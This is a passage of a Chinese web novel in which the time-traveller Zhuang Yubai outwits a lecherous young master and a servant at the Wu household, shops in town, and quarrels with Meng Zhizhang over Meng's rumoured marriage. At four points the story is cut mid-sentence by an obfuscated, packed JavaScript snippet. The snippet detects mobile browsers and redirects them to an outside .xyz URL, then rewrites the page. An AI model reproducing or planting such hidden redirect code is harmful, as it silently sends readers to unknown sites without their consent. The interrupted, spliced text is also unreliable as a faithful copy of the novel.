“这是‘金玉满堂’的玉片。”添柴小厮答。 “啧！谁问你了！”吴用虚晃一下手中扇子要打那小厮，忽意识到什么，重新摆上笑意，往庄聿白脸上看去。 这一看不打紧，吴用登时愣在那里，慌得手中扇子险些摔在地上。 世间怎会有如此清俊人物？他吴用吴小公子经手过的人没有成千也有上百，全加起来也不抵这小厨子的一根手指。 这小厨子的手指，修长细腻，若能摸上一摸…… 不等吴用试探上前，那双修长的手从旁拿过一只竹笊篱，满满抄起锅中白花花的玉片，轻掂两下，哗啦啦扬雪飞雾般倒进一旁的瓷盆中。 整套动作行云流水，利落干净。还想往近处粘的吴用，被逼得不觉倒退两步。他振下袖摆，拈了一块刚出锅的玉片，眼睛始终放在庄聿白身上，像把玩庄聿白的手一般细细摩挲那片玉片。 “小公子叫什么名字？年方几何？哪里人士？”吴用涎着脸，又凑到庄聿白身边。 庄聿白用余光看了一眼来人。一身绸缎裹着个身宽体胖的阔家少爷。年纪不大，略显稚嫩的脸上却流满遮也遮不住的油腻。比他们吴家灶上的那个黑陶油坛还油。 庄聿白只觉胃中一阵恶心。哪来的人渣，一双狗眼在本公子身上扫什么！ “哑巴吗？我们公子问你话呢！”见庄聿白不吭声，跟着吴用来的小厮动了气，边大声呵骂，便要来推搡庄聿白。 吴用挥扇一挡，怒斥身旁小厮：“这么大声做什么！吓到小公子如何是好？” 庄聿白看了看这主仆二人，回身将新一拨坯片放入锅中。 真服了！一锅中药汤都泡不净他那满身基佬味。怎么，这是看上小爷我了？爷可是直男！退一万步讲，就算爷喜欢男人，也绝不可能看上你这种一缸洗洁精都洗不掉油污的欠抽老油条。 庄聿白压住肚中怒气，他眼下在人家屋檐底，登时撕破脸闹掰了，吃亏的只有自己。 若只是拿不到尾款，那还好说。钱嘛可以再挣，多一两少一两没关系。可方才这吴小公子是打着为那兴二伸张正义的名号来的。兴二是个什么货色，庄聿白还是知道一二。兴二有一分坏水，那他的主子想必就有十分。 而且自打这吴用进了厨房，除了必须在灶下添柴的小厮，其他有一个算一个全躲了出去。这更印证了庄聿白的判断——这吴用，是个连猫狗都嫌的主儿。 吴用从没踏足过厨房，油烟气呛得他直咳嗽。不过良人在侧，他哪肯就此放手。他狗皮膏药似地围着庄聿白，一双眼睛不住上下舔。 庄聿白借锅中玉片清锅的空档，眼神示意灶下小厮添火。然后回转头指指嘴巴，摆了摆手。意思是制作玉片期间不便交谈。 “呦！还真是个小哑巴！” 不过这身段这姿色，是个哑巴，着实有些可惜了。吴用眼睛停在庄聿白脖颈上……不过哑巴也有哑巴的好处。他不知想到了什么，眯起眼睛拇指按在唇边擦了下。 庄聿白并没有往油锅中放坯片，他顶着恶心，等油热。 灶下小厮只配合烧火，庄聿白示意他添柴他就添柴。很快锅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856072|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中热油翻滚，烟气跟着升起、弥散。那吴用金尊玉贵惯了的，那受得了这烟气熏蒸，鼻间酸呛，眼睛火辣辣，不一会儿就涕泪四下，捏着鼻子从厨房逃了出去。 “咳咳咳，太呛了，琥珀仙子，你慢慢炸。我在外面等你哈。还有些话，要同你……咳咳咳……同你说。” 院外小厮又是取巾帕，又是端水盆，还递上温度刚刚适口的茶，用来压压烟气。吴用正要去更衣，方才天香楼老鸨子着人递话过来。 方吴用走得急，老鸨还以为是自家招待不周，为安抚老主顾，忙又安排了几个清俊哥儿侯在那里，请吴用赏脸去试试。 “今日没空。改天的！没见公子正忙着！” 吴用更衣完急匆匆往小厨房赶，不耐烦地打发了那天香楼小厮。等他赶回小厨房，却发现早已人去室空。 吴用在厨房调戏小厨子的事，早有好事人搬到兴二耳朵里。兴二一听，自是怒不可遏，一把将手边茶碗砸得粉碎。他心中气不过，又听闻庄聿白已经出了府门，当即多多纠集几个小厮，拿上棍棒就去劫堵。 庄聿白见吴用那副模样，虾片炸制结束，立马同赵管家银货两契，带着尾款会合牛大有就要往家走。 好在庄聿白眼尖，刚走没多远便见几个小厮在街角探头探脑。不对劲。庄聿白忙让牛大有掉头回去，到了吴家后门，请小厮传话进去，说这金玉满堂还有个最佳的吃法忘记说了，需要亲自演示一下。 可巧后院老太太听说这做金玉满堂的是个极其标志的哥儿，也想见一见，正各处派人寻他。 吴用见厨房跑了那小厨子，正拿着厨房小厮们撒气，又骂方才那天香楼老鸨，早不来晚不来，偏这时候拿什么俊俏哥儿来显眼。 正闹得不可开交，听说老太太叫了小厨子过去，吴用忙收了神通，拎起衣摆忙兴冲冲就要跟去上房请安。 “小公子来了！” 丫头一叠声报进去，早有丫头笑着来打帘子。 吴用脚刚踏进门槛，便见老太太正同地上站这的一人说话。虽隔着半掩半开的帘子，他还是通过那个身姿认出说话的正是小厨子。 ……小哑巴，会说话？！ “敢骗本公子！真是胆儿肥！”吴用心中不忿，磨着后槽牙，“等离了老太太这里，让你尝尝本公子的厉害！哭着求饶的时候，可别怪本公子不懂怜香惜玉。” 绕过屏风，吴用立马换上笑脸，给屋内的老太太和大娘子等人规规矩矩请了安。 老太太笑着招呼吴用到自己软榻上坐了，摸着他的脸问这一日都去了哪里，书读得怎么样了，“听说你刚去了厨房。这么热的天，往那火气重的地方去做什么，中了暑可不是闹着玩的。” 厨房之事敢捅到老太太面前，这小哑巴果然是来告状的！吴用拿眼剜庄聿白，心想你小子有种！ 庄聿白接住吴用的眼神，下巴微扬，不无挑衅地扬了下眉毛。等来了当事人，这戏就可以开场了。 29. 抄经 吴用心里揣着鬼。今日去厨房之事，他想为自己辩白几句。 可不等他开口，庄聿白拱手上前跟老太太行个礼，笑道： “方才小公子确实去了厨房。他知道这是老太太千秋宴要用的东西，特意守在边上念佛。不是小厮们拦着，他还要亲自烧火添柴，说是为老太太添寿添禧，再热再累，他都能承受。” 吴家老太太原本偏爱这个孙子，听说吴用还跑去厨房做那烧火的苦力，又是心疼又是欣慰，抓着吴用不撒手：“用儿长大了，不枉我疼你。” 又对地上的丫鬟婆子们说，“旁人都怪我偏心，这是偏心的事情么？我这么多儿孙，哪个能有用儿用心？不过用儿啊，你是个读书的公子，君子远庖厨，下次咱别去厨房了，听话。” 吴用虽不知庄聿白的用意，但惯会就坡下驴。他靠上老太太肩头撒娇：“这都是孙儿应该做的。只要老太太高兴，孙儿做什么都心甘情愿。” 老太太心里受用，又在她这爱孙的脸上身上一顿摩挲，越看越喜欢。 吴用原以为庄聿白要当众告状，谁知却全是夸自己的话，让他一时摸不透庄聿白葫芦里卖的什么药。方才还对自己爱答不理，难道看老太太宠爱自己的份上，后悔方才那般对本公子了？ 不过现在想来投怀送抱，也不是不可以。 吴用蹭在老太太肩头撒着娇，眼神却始终在庄聿白身上黏糊地缠来缠去。 庄聿白心中不快，面上却仍一派朗月清风：“小公子孝心感天动地，这真是老太太的福气。一般人哪有这般造化。听闻老太太着人抄经礼佛，广施钱米，还在佛前供了海灯。这等菩萨心肠，佛祖定会庇佑。其实这金玉满堂，除了作为回礼敬答宾客，也可以帮助老太太来结善缘。” 吴家老太太最信神佛，听庄聿白这样讲，一下来了精神，忙问怎么个结缘法。 庄聿白知道自己切对了脉，心中更有了底。此前孟知彰抄写的几本经文就是这吴家的，庄聿白还只道是寿宴必备物料，不曾想是这老太太自己笃信。 “其实结缘方法很简单。”庄聿白一本正经说道，“我们镇子上有个六十岁的老妈妈过生辰，也是委托我们做了这金玉满堂当寿宴回礼。这老妈妈一辈子吃斋念佛，只是在儿孙福气上薄了些，四十多岁才生了个独苗。可儿子成亲三五年都没能得着个一儿半女。 “老太太岂能不急？天天诵经念佛，逢庙必拜，似乎并不奏效。好在有人给她出了个主意。在寿宴的回礼上加张条子即可。老太太回去就照办了，谁知不久他家儿媳就传出怀孕的好消息。再后来听说生的是一儿一女龙凤胎。神佛还是会庇护心诚之人。” 庄聿白说的热闹，这吴家老太太也听得出神，不知何时从软塌上站起来，颤巍巍上前抓着庄聿白的袖子，直问：“是张什么条子？” 庄聿白暗不可察地笑笑，慢条斯理道：“条子简单，只有‘南无阿弥陀佛’几个字，儿孙辈有几人每份回礼放几张就行。只是这抄单子的人和抄单子的方式有讲究。” “小郎君快说，是个什么讲究。”老太太急得都要拉庄聿白也去她那软塌上坐了。 庄聿白看了眼此时软塌上那位眼神迷离的浪荡公子，对老太太笑道：“这抄写的人呢，必须是老太太身边亲近之人，儿孙、仆从都行，只要一心一意对老太太好的就可以。条子呢，自然是全部由这一人亲笔书写，断不能找人代笔。再者……” 庄聿白卖了个关子。 “再者什么？小郎君直说无妨。”老太太着了急。 “若是在佛前跪着写，心意就更诚了，想必求什么，佛祖都会答应的。”庄聿白夸张地叹口气，故作为难，“写一张，念声佛，还要给佛祖磕个头。如此这般才能灵验。只是苦了这抄写的人。” 老太太还满屋看呢，所有人却都将目光投向了老太太这位至诚至孝的好大孙。 气氛已经烘托到这，逃是没的逃了。 原来在这里等着自己呢。吴用拉丝的眼神此时变了意味，恨不能化成网，将眼前这个让人恨得牙痒之人死死箍住。 刚才高帽子一顶一顶地戴，他早该料到这个小厨子没安好心。虽知道这是庄聿白给自己下的套，但这个坑他必须跳。 人被架到台子上。锣鼓一响，这戏唱也得唱，不唱也得唱。 吴用扯着老太太衣角，扑通一声跪下，言辞恳切：“孙儿愿为老太太抄条子祈福！” 100份回礼，每份10张条子，就需要跪在佛前一笔一划抄写1000张条子，那就是6000字，比一本《金刚经》字数还多，怎么也需要完整的一两天时间。关键老太太寿宴不等人，不可能初三正日子那天还在写。所以吴用只能这两日点灯熬蜡没日没夜地抄。 吴老太太忙一把将人拉起来，满眼既心疼又自豪。心疼他要吃这苦头，又开心孙儿为自己长脸，如此这般更能堵住那些天天说自己偏心之人的口了。不过孝顺懂事的孩子，能怪自己偏疼么！ 吴用，加油，看好你呦！庄聿白看着满脸黑线的吴用，不无挑衅地歪了下头，不过面上早备好了另一副茶言茶语。 看透老太太的心思，庄聿白也跟着添了两句话：“吴小公子果然仁孝。这是贵府的福气。不过这抄条子是辛苦活，这位小公子要受累了。善恶有报，神佛都在上面看着呢。吴小公子跪在佛前抄条子念经，若能一心上善，将来定有福报等着的。老太太的福气也在后面等着呢。” 后面的话庄聿白没继续往下说，但懂得人都懂。善恶终有报，神佛在那看着，善因结善果，多行不义必自毙。 那吴用现在是哑巴吃黄连，有苦说不出，只能腹中大骂：“行啊小厨子，真有你的！看不出来你还有这等本事。你等本公子得空的！” 眼下吴用是吴家最顶用的好男儿，庄聿白也成了名副其实的座上宾。老太太一高兴，立马着人封一个五两银子的红包来答谢。庄聿白原想拒绝，忽一转念，这也算是自己辛苦赚来的钱，凭什么不能收！ 故事虽是无中生有、顺口胡编的，但寿宴之前既哄得老太太开心，又让她心里有了盼头，更重要的是还替她教训了下那个不长进的孙子，怎么不算一石三鸟，做了一件积德行善的大好事！ 何况这几两银子对他们吴家来说跟本不算什么，与其让这个败家子拿去喝花酒，不如自己带回家用到更值得花钱的地方。 庄聿白接过红包，道了谢，又恭恭敬敬行了一个大礼，旋即楚楚动人的脸上轻转阴雨，挂满委屈，说还有两件事要请老太太给做主。 现在庄聿白是吴家的贵客，贵客如何能受委屈。老太太一把将礼行到一半的庄聿白扶起来：“好孩子，别怕！我老婆子虽说老了，但这个家中还是做得了主的！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862181|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有何事尽管提。” 庄聿白先是叹口气，接着精湛茶艺上了身，眉低眼顺，又使劲挤下两滴泪，还扯着袖子往眼角擦了擦。 “老太太千秋之喜，原不该说这些事情说出来给老太太添堵。只是我们人微言轻，能跟老太太说上一句话，那都是我几世修来的福气。嗐！怕就怕，今日我前脚出了老太太这门，后脚就被人劫了。能不能全身全影走回家全凭老太太做主。” “这是哪里话？是有人为难你不成！我老太太今日把话放在这，这家中有人敢为难你，就是诚心跟我对着干！好孩子，别怕。你放心说，为难你的那人是谁？” 庄聿白原本生得单薄，柔柔怯怯的姿态一摆，着实可怜见的，哪个看了不心生怜悯。 庄聿白拿捏住众人这一点，添油加醋地把兴二那日如何带几个小厮将他家打砸一通，方才又如何准备在府外围堵之事全说了一遍。当然兴二克扣牛家炭柴钱，没事就跑去村镇打秋风、败坏吴家名声之事，也都绘声绘色讲出来。 既然担了茶茶小白花的虚名，索性将茶艺演绎到底。庄聿白也学那吴用的撒娇模样，扑通一声跪在吴老太太身旁，扯着衣角道：“只求老太太做主，救我一救。” 这还了得。老太太听完，登时拉下脸来，当众叫大娘子近前来听训。她近来年纪大了，后院交与大娘子全全管着，谁知家中竟养着这样的蠹虫。 “不管他是兴二还是兴三，也不管他是有脸还是没脸的奴才。敢做这伤天害理的事，不拿去报官都算是主子开恩了。今日敢得罪家中贵客，明日就敢把主子拉下马。先拿家法打他二十板子，扣他两个月月例，后面细细问明了再做处置。至于克扣小郎君朋友的钱，现在就让他吐出来。” 管家将庄聿白好生送到后门上时，后院鸡飞狗跳正忙得起劲，有的满世界安排抄经文用的纸笔、软垫，有的则一叠声喊着“拿兴二”“别让兴二跑了”。 兴二娘马婆子听闻今日吴家后门人来人往好生热闹，又来看看能否寻件事情做。找不到兴二，正在后门等着，一眼看见管家带着个人出来，她正要迎上去，忽觉得那小生面熟，像是哪里见过一般。待再看上一眼，魂魄差点没吓飞。 青天白日的，怎么就见着鬼了！ 马婆子脸吓得铁青，厚厚的脂粉都盖不住那份惊慌失色。她躲在墙角缓了半日，方慢慢回过些神。不至于看错，他那一头怪发颜色奇怪的很，还有那勾人的模样。马婆子又扒着墙角看了眼，一口黄牙咬得咯吱响。 不是他还是会谁！那个祭河的活死人。就是因为给他上过一次妆，害得老娘生意全无。你就算化成灰，老娘也能认出来！ 可祭了河的人，怎么可能还活着？ 一个小厮从后门跑出来，马婆子忙一把拉住：“方才管家送出来的那人是谁？他到吴家来做什么？” “这也是你能打听的么！”小厮向来看不惯兴二母子素日的作派，对马婆子自是没好气。 马婆子死死拽住小厮衣袖不放：“他头发的颜色是不是偏黄，左眼眉尾处还有一颗红色泪痣？” “你怎知他眉尾有泪痣？”小厮是方才帮庄聿白烧火的，庄聿白眼角的泪痣虽不甚明显，他还是注意到了，不过他此时没时间同马婆子闲扯，“我劝您老人家别操心别人有没有泪痣，还是赶紧回家准备棒疮药吧。里头正拿您儿子呢！” 30. 采买 牛大有一脸着急地等在后门外，见到庄聿白安然无恙从里面出来才算稍稍放下心。 “琥珀没事吧，怎么去了那么久？他们有没有为难你？”牛大有警惕地往四下看看，“刚才你进去后，跟着我们的那几个小厮就都散了。” “路上说。”庄聿白一身轻松上了牛大有的炭车，从怀中掏出一个钱袋，洋洋得意扔给对方：“打开看看。你的！” 牛大有稳住缰绳，打开绳套，往手里一看，有些困惑：“银子？炭柴钱，方才吴家已经给了的。” “这是兴二克扣的。帮你讨回来了。” 庄聿白将刚才在后宅如何智斗吴用，如何状告兴二之事从头到尾给牛大有讲了一遍，当然作为故事主角的他，形象自是伟大光明又正直，一派横槊沙场、英勇却敌的儒将风范。 牛大有听得也起劲，往常听说书先生讲书，都没有这一段有意思。高兴之余，又担心那吴家小公子和兴二会不会时候来找麻烦。 “把心放进肚子里好了。兴二就是个狗腿子，无足挂齿。何况他挨的那二十下板子都是素日和他有仇之人打的，保证他一个月估计下不了床。而且墙倒众人推，今日是老太太下令打的他，他在这吴家算是彻底丢了脸面、失了势，不人人往死里踩他一脚，已经算他上高香。至于那吴用……” 说到吴用，庄聿白眼神讳莫如深暗了下，“我帮那他在吴家后院赚足了面子，他感激我还来不及呢。而且只要他家老太太还在，只要老太太佛前发下的愿还没实现，我就算他们吴家的半个座上宾。放心，就算他不顾及老太太的面子敢私下去找我们麻烦。这不还有你和……我表哥呢嘛！” 牛大有将那一两银子摸了又摸，然后小心放进怀中收起来，听庄聿白提到孟知彰，心中的石头似乎瞬间落了地，竟又跟着高兴起来。 从小到大，牛大有最信任的伙伴就是孟知彰。这么多年，他就从来没见过有什么事情能难住孟知彰。牛大有空有一身蛮力，论打架虽也能一口气干翻三五个人，但若别人纠集七八个人围攻，他就不是对手了。可知彰不一样。知彰灵活机敏，人也聪明。不仅能硬打，还能智斗，浑身都是本事。 十岁那年，邻村几个恶童欺负牛大有，牛大有没敢跟家中说。孟知彰见他胳膊上有牙印，再三逼问下他才道出此事。孟知彰听完说了句“回家等”就走了。 牛大有虽不知道等什么，但知彰让他等他就等。 第二天为首的恶童父母便带着东西登门道了歉。牛大有不知道孟知彰怎么做到的，但从那之后，也再没有人敢欺负过牛大有。 “嗯，有知彰在，没事的。”牛大有发自内心给出了他对一个人的最高评价。 日头还高，庄聿白难得进趟城，便让牛大有带着他逛逛。牛大有今日多得了些钱，心中也高兴，驾着炭车往他平日常去的驴市、马市、竹编巷等都逛了一圈。 有了车马能走到的地方就多了。眼下虽不买，将来总归是要有的。庄聿白还是留意了下马匹的行情。一匹青花骡子要□□两，小马驹没个十五两下不来，再好些的马更是一物一价，是庄聿白此刻。 炭车走到纸笔店时，已经装了十个圆簸箕和四个小竹凳。庄聿白知道牛大有对文房用品不感兴趣，让他别处转转，过半个时辰来接自己。 纸笔店铺面不大，东西倒很齐全，伙计也热情，并没有因庄聿白一身朴素短褐而有所轻慢。 各种纸张摆了一长案，伙计不急不躁等庄聿白挑选。三省书院抄书用的剡藤纸自然是没有的，就算有，此时也没必要用这么贵重的纸。 庄聿白逐一问过价格，选了一沓中上乘的白麻大纸和装裱书背的碧青纸。碧青纸一张10文，一册书用1.5张，买了12张，足可以裱制8册书。白麻大纸一张5文，买了500张，裁制8册书之外，还有些许剩余日常写写画画。 孟知彰平时常用的竹下纸每张3文，也买了100张，用到下个月没问题，夏收后可以再来买一次。 庄聿白留意，孟知彰不只是往三省书院的空白书册上抄写，还会拿出自制的书册给自己誊录一本。他猜测，孟知彰家中那满墙的手抄书大概都是这么来的，便自作主张替孟知彰置办了这“消费升级”版的抄书材料。 墨也不能少。伙计在庄聿白面前摆了一排逐个绍，有松烟墨、油烟墨，庄聿白选了性价比较高的松烟墨，两锭600文，虽不是店内最好一档，比孟知彰常用的那一锭还是要好。这个日常用着，等府试前再换块好些的墨。 庄聿白心中盘算着，砚台顺手也买了一块。椭圆一块石砚，盘雕着简单的竹节纹。读书是费钱，没见买多少东西，近3两半银子花了出去。 付过钱，庄聿白让伙计帮忙推荐了家成衣店，照着身上衣衫的尺码，给孟知彰选了一套麻葛材质的长衫，自己也试了几件，选了套靛蓝色短褐。穿越这么久，终于能穿上合身衣服了。银钱减600文。 等牛大有的空档，庄聿白在旁边铺子买了些细麻的巾帕以及清洁用的皂角、牙膏等物。银钱减100文。 牛大有回来时，原本卸空的炭车此时已经堆满大半。他将庄聿白采购的这些东西一样一样搬至车上。日头已经偏西，哥俩上了车，挥鞭往家赶。 路上路过熟食铺子，庄聿白又买了一坛五斤装的坛子肉。古代没有冰箱，做成坛子肉还能存放一段时间。眼下手头稍稍宽裕，近来也着实辛苦，马上又端午，值得好好犒劳下。银钱减190文。 “你对知彰真好。”牛大有稳住缰绳，轻车熟路往家赶，他看过了，今日庄聿白采买的东西多数都是给孟知彰的。或许是今日多得了银钱心中高兴，牛大有话也多起来，“等知彰过几个月成了亲，你还在这帮忙吗？” 日头高悬，白炽灯一般刺眼。一声响雷在庄聿白头上炸开。 牛大有说的是……娶亲？孟知彰？ 牛大有没有注意到庄聿白的情绪变化：“多亏了你帮忙讨回兴二克扣的银钱。你瞧，车上这一大包是棉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868674|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花，给知彰做喜被用的。我娘天天念叨被子的事要抓紧，说知彰的亲事说快也快的，只要庄家那边定下日子，随时就能迎娶过来，耽误了事可不成。阿娘还以为要到夏收后才能凑齐这一床被子的棉花。我今日一并买回去，阿娘见了一定开心。” 牛大有像中了邪，仍然自顾自往下说，不过庄聿白已经听不见他在讲什么了。 孟知彰成亲？是自己认识的那个孟知彰吗？是每日与自己坐卧同行、茶饭同享的那个人？ 庄聿白想不通。他自认与孟知彰同床共枕这些时日，还一起将这金玉满堂的生意做起来，早建立起浓厚的情谊。这不算战友算什么？不算知己算什么？退一万步讲，就算够不上知己，再怎么着也算个相熟的朋友吧。 怎么你连成亲这种人生大事，都瞒着不告诉一声？ 庄聿白回头看了眼炭车，心中越发愤懑。这大半车东西，除了给自己买的那一套衣衫，哪一样不是给你孟知彰买的？ 孟知彰啊孟知彰，我把你当知己疼，你却拿我当外人防！ 若说刚上车时，庄聿白还是个志得意满的常胜将军，载着满车战利品神采奕奕不可一世。下车时则乌云满头，便回那只落汤的长毛玩偶，滴滴哒哒满身是水，没有半点精气神。 “琥珀，你是不是不舒服？”到家时，牛大有终于发现了庄聿白神色有变。 “没事，晕车。”庄聿白自己从车上滑下来。看了眼孟知彰伸到面前要来扶自己的手，有意躲开，径直走去房内，扯下外衫，躺去了床上。 他脑子很乱，像刚从战场败阵下来，亟需一个人静静。尤其不想见到孟知彰。 庄聿白一开始对随机空降的这个世界很是有怨言。一穷二白，还处处受限。眼下好不容易算谋到了一个营生，虽赚的不多，但正一步一步好起来，而且比预想的还要红火。眼下一切都在往好的方向走了。可走着走着，却忽然冒出个什么东西挡在前面，毁天灭地地把前路一下给拆了。 庄聿白虽然没明着同孟知彰讲，但他将日子已经规划得很远。等金玉满堂的生意完全步入正轨，攒出更多的钱，那时孟知彰应该也应该考中了秀才，他们也盖上几间明亮瓦房，再买匹骡子代步，这样孟知彰出门行走更方便些。当然孟知彰还会一路去考举人考进士，这些费用他来操持，孟知彰只管专心读他的书即可。孟知彰有招一日出息了，带自己享受下这世间繁华，也不枉自己辛苦穿越这一遭。 院子中，孟知彰和牛大有边将将炭车上采买的东西卸下，边小声说着什么。庄聿白无心去听，他拉过被角盖住自己的脑袋。 起与微末的两个好兄弟，筚路蓝缕互相扶持，伯牙子期高山流水，岂不是一段佳话？原以为可以一直这样走下去。谁知……谁知中间竟然有人要中途下船。 这算割席分手么？ 就算被分手，自己竟还是从别人口中得知的消息。若今日牛大有不说，自己还被埋在鼓里。 孟知彰，你打算瞒我到几时？ 31. 彩帕 庄聿白拳头紧握，恨恨砸在身侧的那包钱袋上。 里面是近日攒下的银钱。除了此前凑齐的1000文，还有这次吴家大单除去采买花费剩下的5.2两，再加上端午乡邻和学中订单马上会到账的2两多银子、孟知彰抄书的酬劳以及夏收粮食的银钱，家中存款眼见抵达10两大关。 此前以为要到秋季才能够到的10两银子，没想到再过几日就要成真。 庄聿白应该高兴的，确实也值得高兴。可他现在却怎么也高兴不起来。心里堵堵的，嘴巴鼓鼓的，鼻间更是酸酸的。 “唉——”庄聿白不觉叹口气，越发像个深闺怨妇。这不行。 自怨自艾不是庄聿白的风格。大不了——不过了。 孟知彰敲门进来，一碗水端到庄聿白面前：“哪里不舒服，我去请郎中来看看？” 刚才牛大有将吴家之事粗枝大叶地跟孟知彰复述一下，他们不仅没吃亏，甚至算是便宜占尽，而且一路上庄聿白心情都不错，可不知怎么了突然就这样了。 庄聿白不想说话，朝里翻了个身，背对着孟知彰。 孟知彰将水放下，语气难得柔和，也藏着些小心：“衣衫试过了，很合身。” 庄聿白知道对方这是在示好。一味的躲避解决不了问题，他索性一骨碌爬起来：“孟公子，我们此前说100文钱一个月10倍奉还的契约，可还作数？” 孟知彰眸色一沉，气定神闲道：“作数。” 庄聿白一口气提上来，鼻翼微张：“孟知彰，你何时娶亲？” 话一出口，语气却成了质问。 孟知彰眉心微颤，沉吟半晌：“你……问我？” “哼——”庄聿白冷笑出声，“这事不问你，难道问我？” 无声的静，横亘在二人中间。 孟知彰选择了沉默。 最烦这种人，人家跟你说话，你沉哪门子默啊！ “10倍银钱现在就可以还上。若孟公子一月期限内娶亲，最好提前告知我一声，我好给孟公子腾地方。”庄聿白像是下了最后通牒，说完朝里躺下，不想再跟这个人说一句话。 * 晚上就寝时间，庄聿白仍在床上躺着，脸朝里，衣衫裹得严严实实。 孟知彰像走到床边，正准备往常一般帮庄聿白绑手脚。却见庄聿白猛一翻身从床上爬起来。 “不睡么？”孟知彰原地定了一会儿，将手中布绳缠拢放于枕边。 “我想起还有些淀粉要洗出来。”庄聿白坐在床边穿鞋。 孟知彰：“学中和乡邻订单所需淀粉，已经全部晾晒好收在灶屋。” 庄聿白下了床：“那该做面坯了，我去做些虾泥。” 孟知彰：“虾，明日一早才会送来。” “那……我去菜园看看菜苗是不是该分垄了……” 庄聿白说完自己都觉得滑稽，正常人哪个会黑灯瞎火、顶着漫天星斗去种菜？ 孟知彰站在门口，灯火从他身后打过来，投下一个飘忽不定的影子，他就这样静静看着庄聿白：“关于亲事，你有何想法？” 孟知彰你在玩抽象吗？什么叫我有什么想法？你孟知彰成亲，关我庄聿白什么事！巴巴跑来问我是几个意思？ 既然你问了，好，那我答给你听。庄聿白将头发甩至身后，扬了下眉毛，摆出一个满不在乎的姿态。 “关于亲事，自然是先要恭喜孟公子。不过此事过于突然，我还没做好心理准备。” “你想准备什么？”孟知彰像是锁定了什么关键信息。 庄聿白：“……” 这是什么不合时宜的问题。简直莫名其妙。庄聿白心中翻个白眼，脸上却硬摆出一副笑模样。 “我准备什么？自然是准备搬走呀。你孟公子都要娶亲了，这个家我自然也住不长久……当然，原本你我原本约定的也只是一月之期。” 庄聿白极力找补，不确定是不是自己的幻觉，他看到孟知彰眼底竟划过一抹笑意，浅浅的，转瞬即逝。 “成亲，你自也无需搬走。” 孟知彰捕捉和理解关键词的能力，真的让人无力吐槽，庄聿白翻了个实质性的白眼：“家中条件就是这么个条件，难不成新妇嫁进来，我睡你俩中间？” 孟知彰身后的手指动了下，面上不动声色轻咳一声。 庄聿白继续：“我自然是会走的，不过也没那么急。关于我搬走之后去哪里，孟公子更无需挂心。你孟公子要娶亲，我呢，自然也有自己的春天要去寻找不是么？” “你的春天？” “对。我的春天。”庄聿白不无挑衅地回击，难不成只许你孟知彰成亲，别人就必须孤独终老？庄聿白不知哪来的好胜心，脖颈一挺，“今日那吴家老太太觉得我人很好，还特意着人来问我的生辰八字什么的？” “你给了？”孟知彰声音有些颤，眸色更沉，一双眼睛毫不掩饰地在庄聿白身上上下打量，像是要将人扒开搜寻哪句真哪句假。 庄聿白被看得有些心虚。话是他瞎编的，他确实心虚：“我若记得，自然就给了嘛！” 孟知彰目光灼灼，庄聿白一时不知该怎么接。人尴尬的时候会变得异常忙碌。庄聿白下意识开始整理衣襟，整理头发。 “吴家姐姐们还真不少，我在厨房忙的时候，她们时不时就来端茶送水……” 怀里鼓鼓一团，庄聿白忘记是什么了，忙着整理衣襟的手顺势往里一掏，去见七八条五颜六色的绣花手帕，像变魔术一般翻落出来，喷了一地。 那场面称得上是，哗啦啦一池春水溅，扑簌簌满地桃花开。 庄聿白愣在当地，一时没反应过来。他胸中自然是坦荡的，奈何此情此景却有种众目睽睽下内衣掉了一地的羞耻感。 “你今天去的是吴家么？只去了吴家？”孟知彰不知何时拈了一条在手上，桃粉色绸缎上绣着退红色桃花，花枝旁还飞着一只粉色小蝴蝶。 浓浓脂粉气，满满香艳风。 “当然是吴家，不然呢？金玉满堂的尾款我还带回来了，一分不少。”庄聿白将满地手帕胡乱捡起来，七手八脚往胸前衣襟里塞。 孟知彰手上那条粉色帕子被猛地抽走，陡然一空的手指却滞在半空。片刻，他手握成拳，背至身后。就这样不远不近不喜不怒不卑不亢看定庄聿白，似乎在等一个解释。 庄聿白莫名也来了气，向前一步梗着脖子对上孟知彰的眼神：“孟公子，你怎么这样看着我？就像我做了对不起你的事情！” 孟知彰背至身后的拳头攥得更紧了。 “对！你猜的没错。这些手帕是吴家姐姐们送的。吴家那群哥哥姐姐们，觉得我辛苦，给我递茶帮我擦汗，你看还有熏衣裳的香囊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 